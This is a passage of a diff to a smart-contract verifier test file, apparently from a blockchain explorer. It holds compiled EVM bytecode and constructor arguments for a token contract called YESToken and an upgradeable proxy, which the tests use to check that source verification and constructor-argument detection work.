80910390a35050565b82805462000221906200035b565b90600052602060002090601f01602090048101928262000245576000855562000290565b82601f106200026057805160ff191683800117855562000290565b8280016001018555821562000290579182015b828111156200029057825182559160200191906001019062000273565b506200029e929150620002a2565b5090565b5b808211156200029e5760008155600101620002a3565b80516001600160a01b0381168114620002d157600080fd5b919050565b600080600080600060a08688031215620002ef57600080fd5b855194506200030160208701620002b9565b93506200031160408701620002b9565b92506200032160608701620002b9565b9150608086015190509295509295909350565b600082198211156200035657634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200037057607f821691505b602082108114156200039257634e487b7160e01b600052602260045260246000fd5b50919050565b61185480620003a86000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80638456cb591161010f578063bddae40e116100a2578063dd62ed3e11610071578063dd62ed3e14610420578063de9c2a6b14610459578063f71c559c14610466578063f9f92be41461047957600080fd5b8063bddae40e146103cf578063c2f92192146103e2578063d864e740146103f5578063da72c1e81461040d57600080fd5b80639cfe42da116100de5780639cfe42da1461038e578063a1d5ec4b146103a1578063a457c2d7146103a9578063a9059cbb146103bc57600080fd5b80638456cb59146103405780638e39103c1461034857806390d6b45f1461035b57806395d89b411461038657600080fd5b8063394b652b1161018757806359e026f71161015657806359e026f7146102e65780635c975abb146102f9578063704b6c021461030457806370a082311461031757600080fd5b8063394b652b146102a357806339509351146102b85780633f4ba83a146102cb578063483a83df146102d357600080fd5b806318160ddd116101c357806318160ddd146102515780631ae878d31461026857806323b872dd14610271578063313ce5671461028457600080fd5b806306fdde03146101ea578063095ea7b3146102085780631714d7f31461022b575b600080fd5b6101f261049c565b6040516101ff9190611574565b60405180910390f35b61021b6102163660046115aa565b61052a565b60405190151581526020016101ff565b6101f2604051806040016040528060078152602001667975656d6d616960c81b81525081565b61025a60085481565b6040519081526020016101ff565b61025a60035481565b61021b61027f3660046115d4565b610540565b600b546102919060ff1681565b60405160ff90911681526020016101ff565b6102b66102b1366004611610565b610651565b005b61021b6102c63660046115aa565b61068c565b6102b66106c8565b6102b66102e1366004611629565b610701565b61021b6102f43660046115d4565b610739565b60005460ff1661021b565b6102b6610312366004611629565b61094f565b61025a610325366004611629565b6001600160a01b031660009081526006602052604090205490565b6102b6610a1b565b6102b6610356366004611629565b610a52565b60025461036e906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b6101f2610a8a565b6102b661039c366004611629565b610a97565b6102b6610acf565b61021b6103b73660046115aa565b610b06565b61021b6103ca3660046115aa565b610b95565b6102b66103dd366004611629565b610bf4565b60015461036e906001600160a01b031681565b60005461036e9061010090046001600160a01b031681565b61021b61041b3660046115d4565b610c2c565b61025a61042e366004611644565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60045461021b9060ff1681565b61021b6104743660046115d4565b610ddb565b61021b610487366004611629565b60056020526000908152604090205460ff1681565b600980546104a990611677565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611677565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b505050505081565b6000610537338484610ede565b50600192915050565b6000805460ff161561056d5760405162461bcd60e51b8152600401610564906116b2565b60405180910390fd5b6001600160a01b038416600090815260056020526040902054849060ff16156105a85760405162461bcd60e51b8152600401610564906116cd565b6105b3858585611002565b6001600160a01b0385166000908152600760209081526040808320338452909152902054838110156106385760405162461bcd60e51b815260206004820152602860248201527f4b415032303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610564565b6106458633868403610ede565b50600195945050505050565b60005461010090046001600160a01b031633146106805760405162461bcd60e51b815260040161056490611704565b610689816111d1565b50565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105379185906106c3908690611751565b610ede565b60005461010090046001600160a01b031633146106f75760405162461bcd60e51b815260040161056490611704565b6106ff611217565b565b60005461010090046001600160a01b031633146107305760405162461bcd60e51b815260040161056490611704565b61068981611298565b6000805460ff161561075d5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf0916107aa91339190600401611769565b602060405180830381865afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611795565b6108075760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a3490602401602060405180830381865afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087891906117ee565b101580156108f657506003546002546040516306f19a8d60e21b81526001600160a01b03868116600483015290911690631bc66a34906024015b602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f391906117ee565b10155b61093a5760405162461bcd60e51b81526020600482015260156024820152744f6e6c7920696e7465726e616c20707572706f736560581b6044820152606401610564565b610945848484611002565b5060019392505050565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf09161099c91339190600401611769565b602060405180830381865afa1580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611795565b6109f95760405162461bcd60e51b8152600401610564906117b7565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60005461010090046001600160a01b03163314610a4a5760405162461bcd60e51b815260040161056490611704565b6106ff6112f2565b60005461010090046001600160a01b03163314610a815760405162461bcd60e51b815260040161056490611704565b6106898161134a565b600a80546104a990611677565b60005461010090046001600160a01b03163314610ac65760405162461bcd60e51b815260040161056490611704565b61068981611400565b60005461010090046001600160a01b03163314610afe5760405162461bcd60e51b815260040161056490611704565b6106ff61148a565b3360009081526007602090815260408083206001600160a01b038616845290915281205482811015610b885760405162461bcd60e51b815260206004820152602560248201527f4b415032303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610564565b6109453385858403610ede565b6000805460ff1615610bb95760405162461bcd60e51b8152600401610564906116b2565b3360008181526005602052604090205460ff1615610be95760405162461bcd60e51b8152600401610564906116cd565b610945338585611002565b60005461010090046001600160a01b03163314610c235760405162461bcd60e51b815260040161056490611704565b610689816114c2565b6000805461010090046001600160a01b03163314610c5c5760405162461bcd60e51b815260040161056490611704565b6001600160a01b038416600090815260066020526040902054821115610cd25760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e7366657220616d6f756e74206578636565642062616044820152646c616e636560d81b6064820152608401610564565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610564565b6001600160a01b03841660009081526006602052604081208054849290610d50908490611807565b90915550506001600160a01b03831660009081526006602052604081208054849290610d7d908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dc991815260200190565b60405180910390a35060019392505050565b6000805460ff1615610dff5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf091610e4c91339190600401611769565b602060405180830381865afa158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d9190611795565b610ea95760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a34906024016108b2565b6001600160a01b038316610f405760405162461bcd60e51b8152602060048201526024808201527f4b415032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610564565b6001600160a01b038216610fa15760405162461bcd60e51b815260206004820152602260248201527f4b415032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610564565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110665760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610564565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602360248201527f4b415032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610564565b6001600160a01b038316600090815260066020526040902054818110156111405760405162461bcd60e51b815260206004820152602660248201527f4b415032303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610564565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290611177908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c391815260200190565b60405180910390a350505050565b600380549082905560408051828152602081018490527f4bb7c3aa2e207c70c9f2b8b0d81e076d62b704e041cdedb61959edd1814912f491015b60405180910390a15050565b60005460ff1661124e5760405162461bcd60e51b815260206004820152600260248201526104e560f41b6044820152606401610564565b6000805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600280546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f192570e0851c3af9ff6a477c94534e97444b3893085cf6ac37fb7e7ec335f01e910161120b565b60005460ff16156113155760405162461bcd60e51b8152600401610564906116b2565b6000805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861127b3390565b6001600160a01b038116600090815260056020526040902054819060ff166113b45760405162461bcd60e51b815260206004820152601b60248201527f41646472657373206973206e6f7420696e20626c61636b6c69737400000000006044820152606401610564565b6001600160a01b038216600081815260056020526040808220805460ff19169055513392917f6690dc53a3b1d37db94233f7c004408862ea909761dc5760b0e925276754f87591a35050565b6001600160a01b038116600090815260056020526040902054819060ff161561143b5760405162461bcd60e51b8152600401610564906116cd565b6001600160a01b038216600081815260056020526040808220805460ff19166001179055513392917fef674dcdab521405fef2bf4b5d2c6a6434e3ab02bc5a94fb89dd035704b83b0991a35050565b6004805460ff191660011790556040517fa5881517cf4ae3e7f6bcd00c68314e59f3ce78b5606d1b08253addc3c957e43b90600090a1565b60008054610100600160a81b0319166101006001600160a01b0384811682810293909317938490556040805193845291909304909216602082015282917f129aa2e3e7b369511a5c100a66e80b6c6231b4e60460799e7c1ed36e14121568910161120b565b6000815180845260005b8181101561154d57602081850181015186830182015201611531565b8181111561155f576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006115876020830184611527565b9392505050565b80356001600160a01b03811681146115a557600080fd5b919050565b600080604083850312156115bd57600080fd5b6115c68361158e565b946020939093013593505050565b6000806000606084860312156115e957600080fd5b6115f28461158e565b92506116006020850161158e565b9150604084013590509250925092565b60006020828403121561162257600080fd5b5035919050565b60006020828403121561163b57600080fd5b6115878261158e565b6000806040838503121561165757600080fd5b6116608361158e565b915061166e6020840161158e565b90509250929050565b600181811c9082168061168b57607f821691505b602082108114156116ac57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600190820152600560fc1b604082015260600190565b60208082526017908201527f4164647265737320697320696e20626c61636b6c697374000000000000000000604082015260600190565b60208082526019908201527f52657374726963746564206f6e6c7920636f6d6d697474656500000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156117645761176461173b565b500190565b6001600160a01b038316815260406020820181905260009061178d90830184611527565b949350505050565b6000602082840312156117a757600080fd5b8151801515811461158757600080fd5b6020808252601b908201527f52657374726963746564206f6e6c792073757065722061646d696e0000000000604082015260600190565b60006020828403121561180057600080fd5b5051919050565b6000828210156118195761181961173b565b50039056fea2646970667358221220f9aa231f0e2c136b376cc26c179eea8f7aae62c23797e6e17b4ca4462f9ad1af64736f6c634300080b0033" - - contract_creation_code = - "0x60806040523480156200001157600080fd5b5060405162001bfc38038062001bfc8339810160408190526200003491620002d6565b6040805180820182526009808252682ca2a9902a37b5b2b760b91b6020808401918252845180860190955260038086526259455360e81b91860191909152600080546001600160a01b03808c16610100026001600160a81b03199092169190911790915560018054828b166001600160a01b03199182161790915560028054928a169290911691909117905585905582519293926012928992899289928992620000de9262000213565b508551620000f490600a90602089019062000213565b5050600b805460ff90951660ff199095169490941790935550620001209350339250889150506200012b565b505050505062000398565b6001600160a01b038216620001865760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600860008282546200019a919062000334565b90915550506001600160a01b03821660009081526006602052604081208054839290620001c990849062000334565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b82805462000221906200035b565b90600052602060002090601f01602090048101928262000245576000855562000290565b82601f106200026057805160ff191683800117855562000290565b8280016001018555821562000290579182015b828111156200029057825182559160200191906001019062000273565b506200029e929150620002a2565b5090565b5b808211156200029e5760008155600101620002a3565b80516001600160a01b0381168114620002d157600080fd5b919050565b600080600080600060a08688031215620002ef57600080fd5b855194506200030160208701620002b9565b93506200031160408701620002b9565b92506200032160608701620002b9565b9150608086015190509295509295909350565b600082198211156200035657634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200037057607f821691505b602082108114156200039257634e487b7160e01b600052602260045260246000fd5b50919050565b61185480620003a86000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80638456cb591161010f578063bddae40e116100a2578063dd62ed3e11610071578063dd62ed3e14610420578063de9c2a6b14610459578063f71c559c14610466578063f9f92be41461047957600080fd5b8063bddae40e146103cf578063c2f92192146103e2578063d864e740146103f5578063da72c1e81461040d57600080fd5b80639cfe42da116100de5780639cfe42da1461038e578063a1d5ec4b146103a1578063a457c2d7146103a9578063a9059cbb146103bc57600080fd5b80638456cb59146103405780638e39103c1461034857806390d6b45f1461035b57806395d89b411461038657600080fd5b8063394b652b1161018757806359e026f71161015657806359e026f7146102e65780635c975abb146102f9578063704b6c021461030457806370a082311461031757600080fd5b8063394b652b146102a357806339509351146102b85780633f4ba83a146102cb578063483a83df146102d357600080fd5b806318160ddd116101c357806318160ddd146102515780631ae878d31461026857806323b872dd14610271578063313ce5671461028457600080fd5b806306fdde03146101ea578063095ea7b3146102085780631714d7f31461022b575b600080fd5b6101f261049c565b6040516101ff9190611574565b60405180910390f35b61021b6102163660046115aa565b61052a565b60405190151581526020016101ff565b6101f2604051806040016040528060078152602001667975656d6d616960c81b81525081565b61025a60085481565b6040519081526020016101ff565b61025a60035481565b61021b61027f3660046115d4565b610540565b600b546102919060ff1681565b60405160ff90911681526020016101ff565b6102b66102b1366004611610565b610651565b005b61021b6102c63660046115aa565b61068c565b6102b66106c8565b6102b66102e1366004611629565b610701565b61021b6102f43660046115d4565b610739565b60005460ff1661021b565b6102b6610312366004611629565b61094f565b61025a610325366004611629565b6001600160a01b031660009081526006602052604090205490565b6102b6610a1b565b6102b6610356366004611629565b610a52565b60025461036e906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b6101f2610a8a565b6102b661039c366004611629565b610a97565b6102b6610acf565b61021b6103b73660046115aa565b610b06565b61021b6103ca3660046115aa565b610b95565b6102b66103dd366004611629565b610bf4565b60015461036e906001600160a01b031681565b60005461036e9061010090046001600160a01b031681565b61021b61041b3660046115d4565b610c2c565b61025a61042e366004611644565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60045461021b9060ff1681565b61021b6104743660046115d4565b610ddb565b61021b610487366004611629565b60056020526000908152604090205460ff1681565b600980546104a990611677565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611677565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b505050505081565b6000610537338484610ede565b50600192915050565b6000805460ff161561056d5760405162461bcd60e51b8152600401610564906116b2565b60405180910390fd5b6001600160a01b038416600090815260056020526040902054849060ff16156105a85760405162461bcd60e51b8152600401610564906116cd565b6105b3858585611002565b6001600160a01b0385166000908152600760209081526040808320338452909152902054838110156106385760405162461bcd60e51b815260206004820152602860248201527f4b415032303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610564565b6106458633868403610ede565b50600195945050505050565b60005461010090046001600160a01b031633146106805760405162461bcd60e51b815260040161056490611704565b610689816111d1565b50565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105379185906106c3908690611751565b610ede565b60005461010090046001600160a01b031633146106f75760405162461bcd60e51b815260040161056490611704565b6106ff611217565b565b60005461010090046001600160a01b031633146107305760405162461bcd60e51b815260040161056490611704565b61068981611298565b6000805460ff161561075d5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf0916107aa91339190600401611769565b602060405180830381865afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611795565b6108075760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a3490602401602060405180830381865afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087891906117ee565b101580156108f657506003546002546040516306f19a8d60e21b81526001600160a01b03868116600483015290911690631bc66a34906024015b602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f391906117ee565b10155b61093a5760405162461bcd60e51b81526020600482015260156024820152744f6e6c7920696e7465726e616c20707572706f736560581b6044820152606401610564565b610945848484611002565b5060019392505050565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf09161099c91339190600401611769565b602060405180830381865afa1580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611795565b6109f95760405162461bcd60e51b8152600401610564906117b7565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60005461010090046001600160a01b03163314610a4a5760405162461bcd60e51b815260040161056490611704565b6106ff6112f2565b60005461010090046001600160a01b03163314610a815760405162461bcd60e51b815260040161056490611704565b6106898161134a565b600a80546104a990611677565b60005461010090046001600160a01b03163314610ac65760405162461bcd60e51b815260040161056490611704565b61068981611400565b60005461010090046001600160a01b03163314610afe5760405162461bcd60e51b815260040161056490611704565b6106ff61148a565b3360009081526007602090815260408083206001600160a01b038616845290915281205482811015610b885760405162461bcd60e51b815260206004820152602560248201527f4b415032303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610564565b6109453385858403610ede565b6000805460ff1615610bb95760405162461bcd60e51b8152600401610564906116b2565b3360008181526005602052604090205460ff1615610be95760405162461bcd60e51b8152600401610564906116cd565b610945338585611002565b60005461010090046001600160a01b03163314610c235760405162461bcd60e51b815260040161056490611704565b610689816114c2565b6000805461010090046001600160a01b03163314610c5c5760405162461bcd60e51b815260040161056490611704565b6001600160a01b038416600090815260066020526040902054821115610cd25760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e7366657220616d6f756e74206578636565642062616044820152646c616e636560d81b6064820152608401610564565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610564565b6001600160a01b03841660009081526006602052604081208054849290610d50908490611807565b90915550506001600160a01b03831660009081526006602052604081208054849290610d7d908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dc991815260200190565b60405180910390a35060019392505050565b6000805460ff1615610dff5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf091610e4c91339190600401611769565b602060405180830381865afa158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d9190611795565b610ea95760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a34906024016108b2565b6001600160a01b038316610f405760405162461bcd60e51b8152602060048201526024808201527f4b415032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610564565b6001600160a01b038216610fa15760405162461bcd60e51b815260206004820152602260248201527f4b415032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610564565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110665760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610564565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602360248201527f4b415032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610564565b6001600160a01b038316600090815260066020526040902054818110156111405760405162461bcd60e51b815260206004820152602660248201527f4b415032303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610564565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290611177908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c391815260200190565b60405180910390a350505050565b600380549082905560408051828152602081018490527f4bb7c3aa2e207c70c9f2b8b0d81e076d62b704e041cdedb61959edd1814912f491015b60405180910390a15050565b60005460ff1661124e5760405162461bcd60e51b815260206004820152600260248201526104e560f41b6044820152606401610564565b6000805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600280546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f192570e0851c3af9ff6a477c94534e97444b3893085cf6ac37fb7e7ec335f01e910161120b565b60005460ff16156113155760405162461bcd60e51b8152600401610564906116b2565b6000805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861127b3390565b6001600160a01b038116600090815260056020526040902054819060ff166113b45760405162461bcd60e51b815260206004820152601b60248201527f41646472657373206973206e6f7420696e20626c61636b6c69737400000000006044820152606401610564565b6001600160a01b038216600081815260056020526040808220805460ff19169055513392917f6690dc53a3b1d37db94233f7c004408862ea909761dc5760b0e925276754f87591a35050565b6001600160a01b038116600090815260056020526040902054819060ff161561143b5760405162461bcd60e51b8152600401610564906116cd565b6001600160a01b038216600081815260056020526040808220805460ff19166001179055513392917fef674dcdab521405fef2bf4b5d2c6a6434e3ab02bc5a94fb89dd035704b83b0991a35050565b6004805460ff191660011790556040517fa5881517cf4ae3e7f6bcd00c68314e59f3ce78b5606d1b08253addc3c957e43b90600090a1565b60008054610100600160a81b0319166101006001600160a01b0384811682810293909317938490556040805193845291909304909216602082015282917f129aa2e3e7b369511a5c100a66e80b6c6231b4e60460799e7c1ed36e14121568910161120b565b6000815180845260005b8181101561154d57602081850181015186830182015201611531565b8181111561155f576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006115876020830184611527565b9392505050565b80356001600160a01b03811681146115a557600080fd5b919050565b600080604083850312156115bd57600080fd5b6115c68361158e565b946020939093013593505050565b6000806000606084860312156115e957600080fd5b6115f28461158e565b92506116006020850161158e565b9150604084013590509250925092565b60006020828403121561162257600080fd5b5035919050565b60006020828403121561163b57600080fd5b6115878261158e565b6000806040838503121561165757600080fd5b6116608361158e565b915061166e6020840161158e565b90509250929050565b600181811c9082168061168b57607f821691505b602082108114156116ac57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600190820152600560fc1b604082015260600190565b60208082526017908201527f4164647265737320697320696e20626c61636b6c697374000000000000000000604082015260600190565b60208082526019908201527f52657374726963746564206f6e6c7920636f6d6d697474656500000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156117645761176461173b565b500190565b6001600160a01b038316815260406020820181905260009061178d90830184611527565b949350505050565b6000602082840312156117a757600080fd5b8151801515811461158757600080fd5b6020808252601b908201527f52657374726963746564206f6e6c792073757065722061646d696e0000000000604082015260600190565b60006020828403121561180057600080fd5b5051919050565b6000828210156118195761181961173b565b50039056fea2646970667358221220f9aa231f0e2c136b376cc26c179eea8f7aae62c23797e6e17b4ca4462f9ad1af64736f6c634300080b0033000000000000000000000000000000000000000000084595161401484a00000000000000000000000000000073d8f731ec0d3945d807a904bf93954b82b0d594000000000000000000000000c5333c0d3cf6fc8f84f3ccb0d5a73dbda2eceb500000000000000000000000002c8abd9c61d4e973ca8db5545c54c90e44a2445c0000000000000000000000000000000000000000000000000000000000000004" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.11+commit.d7f03943", - "evm_version" => "default", - "name" => "YESToken", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "000000000000000000000000000000000000000000084595161401484a00000000000000000000000000000073d8f731ec0d3945d807a904bf93954b82b0d594000000000000000000000000c5333c0d3cf6fc8f84f3ccb0d5a73dbda2eceb500000000000000000000000002c8abd9c61d4e973ca8db5545c54c90e44a2445c0000000000000000000000000000000000000000000000000000000000000004" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil - end + bytecode = + "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033" - test "issue 3082" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_3082.sol" - |> File.read!() - - bytecode = - 